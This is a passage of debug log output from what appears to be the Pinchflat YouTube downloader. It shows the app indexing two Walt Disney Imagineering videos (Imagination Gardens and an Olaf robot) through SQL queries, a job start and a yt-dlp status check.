Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", "id" => "xX48Eo_uC9c", "original_url" => "https://www.youtube.com/watch?v=xX48Eo_uC9c", "playlist_index" => 1, "title" => "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "upload_date" => "20260324"} 18:54:54.548 [debug] QUERY OK source="sources" db=0.1ms idle=1497.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:54.548 [debug] QUERY OK source="sources" db=0.1ms idle=1497.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:54.549 [debug] QUERY OK source="media_items" db=0.5ms idle=1498.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 2] 18:54:54.552 [debug] QUERY OK source="media_items" db=1.9ms idle=1023.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "3d492495-5ad9-4a92-b1d4-198d355b0045", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", false, false, 1, "/downloads/Walt Disney Imagineering/2026-03-24 Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration/Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration [xX48Eo_uC9c].NA", false, false, 2, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-29 22:54:54Z], ~U[2026-03-29 22:54:54Z], "Go behind the scenes of Disney Imagination Gardens aboard the Disney Adventure and discover how Walt Disney Imagineering, Disney Live Entertainment, and Disney Cruise Line collaborated to create one of the most unique performance spaces ever built for a cruise ship.\n\nWhat began as a simple “what if?” quickly became a fully integrated entertainment environment built around live performance, flying performers, immersive video, and virtual scenery extensions.\nYou’ll hear how the teams worked together to solve major creative challenges—like designing shows that can be viewed from multiple decks and even private stateroom balconies, hiding technical infrastructure in plain sight, and using large‑scale video screens to replace traditional scenery in an outdoor space.\n\n✨ What makes this special?\n• How Imagination Gardens was planned before the ship was fully designed\n• Why video screens and virtual scenery were essential to the space\n• How technology elements like the tech booth were hidden within the environment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n🎭 Three Stages in ONE Theater?! → \u00A0\u00A0\u00A0•\u00A0How\u00A0Does\u00A0Disney\u00A0Do\u00A0This\u00A0-\u00A0Three\u00A0Stages\u00A0in\u00A0...\u00A0\u00A0\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Imagination Gardens: A Walt Disney Imagineering & Disney Live Entertainment Collaboration", "xX48Eo_uC9c", "https://www.youtube.com/watch?v=xX48Eo_uC9c", ni (truncated) 18:54:54.552 [debug] QUERY OK source="sources" db=0.1ms idle=24.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:54.552 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:54.553 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:54:54.553 [info] Kicking off download for media item #12518 (xX48Eo_uC9c) 18:54:54.554 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1702, 12518, ~U[2026-03-29 22:54:54Z], ~U[2026-03-29 22:54:54Z]] 18:54:54.554 [debug] Current batch of media processed. Will check again in 1000ms 18:54:54.560 [info] {"args":{"id":12518},"id":1702,"meta":{},"system_time":1774824894560198998,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:54:54.560 [debug] QUERY OK source="media_items" db=0.1ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:54:54.560 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:54:54.561 [debug] QUERY OK source="sources" db=0.2ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:54.561 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:54.562 [debug] QUERY OK source="media_items" db=0.3ms idle=7.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:54:54.562 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:54:54.563 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:54:54.563 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:54.563 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:54.564 [debug] Running yt-dlp command for action: get_downloadable_status 18:54:54.564 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:54.564 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:54.564 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:54:54.565 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/8d/e9/8de929fa02cac5723980ed110191f7cc7d60a0317d8bd4d2a85cd350ba67a5f3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:54:55.555 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", "id" => "d-WdUYdOdHY", "original_url" => "https://www.youtube.com/watch?v=d-WdUYdOdHY", "playlist_index" => 2, "title" => "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "upload_date" => "20260317"} 18:54:55.556 [debug] QUERY OK source="sources" db=0.2ms idle=992.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:54:55.556 [debug] QUERY OK source="sources" db=0.1ms idle=992.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:55.557 [debug] QUERY OK source="media_items" db=0.5ms idle=992.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 2] 18:54:55.559 [debug] QUERY OK source="media_items" db=1.0ms idle=992.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "fe8735cd-73b3-43b4-b10c-39e37007f5ed", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, false, 2, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, false, 2, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-29 22:54:55Z], ~U[2026-03-29 22:54:55Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", nil, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, 2, ~U[2026-03-17 00:00:00Z]] 18:54:55.559 [debug] QUERY OK source="sources" db=0.1ms idle=30.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:54:55.559 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", 